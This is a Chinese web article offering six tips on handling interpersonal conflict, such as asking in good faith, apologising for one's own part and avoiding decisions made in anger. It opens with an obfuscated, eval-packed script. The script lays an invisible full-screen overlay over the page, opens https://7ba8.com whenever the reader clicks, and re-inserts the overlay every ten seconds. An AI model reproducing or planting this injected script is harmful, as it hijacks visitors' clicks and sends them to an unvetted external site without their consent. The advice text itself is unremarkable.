<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>在人交网中,不可避免要和别人发生冲突。在冲突中不会有赢者,没有解决的冲突被压制,迟早一天又会爆发。重要的是冲突如何化解?
1)冲突不是世界末日,不可避免
可能是学习新东西的开始。冲突是因为双方都固执己见。关键在不要让冲突没有止境。越早处理越好。最好一开始就让它结束。
2)善意询问,想法大不同
如果有人做了让你恼火的事情,或者你不理解他们为什么这么做,只要问清楚可能让你的想法大不同。不要指望一个电话,一封e-mail就能解决问题。
3)为自己做的事负责
道歉。冲突的双方一起制造了冲突,为你所做的导致冲突的事情道歉。不是让你承担全部责任,只要你自己做的事情负责。
赞赏。在冲突的过程中赞扬对方,告诉他们为什么你觉得有必要解决冲突。可能比较难,但会有非常好的效果。
考虑冲突的后果让你知道为什么需要解决这个冲突。定一个双方都认可,有好结果的目标。
找调解人。如果没法靠双方解决,可以找一个中立的调解人。
4)态度决定一切
以坦诚、相互包容的态度处理冲突,往往更能赢得支持和理解,使冲突处理取得意想不到的结果。要高效地处理冲突,化冲突为和谐,除了遵循这些必要步骤外,掌握一些处理冲突的技巧也是必需的。
5)良好的回馈机制
协调沟通一定是双向,必须保证资讯被接收者接到和理解了。因此,所有的协调沟通方式必须有回馈机制,保证接收者接收到。
6)在负面情绪中不要协调沟通,尤其是不能够做决定
负面情绪中的协调沟通常常无好话,既理不清,也讲不明,很容易冲动而失理性,尤其是不能在负面情绪中作出冲动性的决定,这很容易让事情不可挽回,令人后悔。 |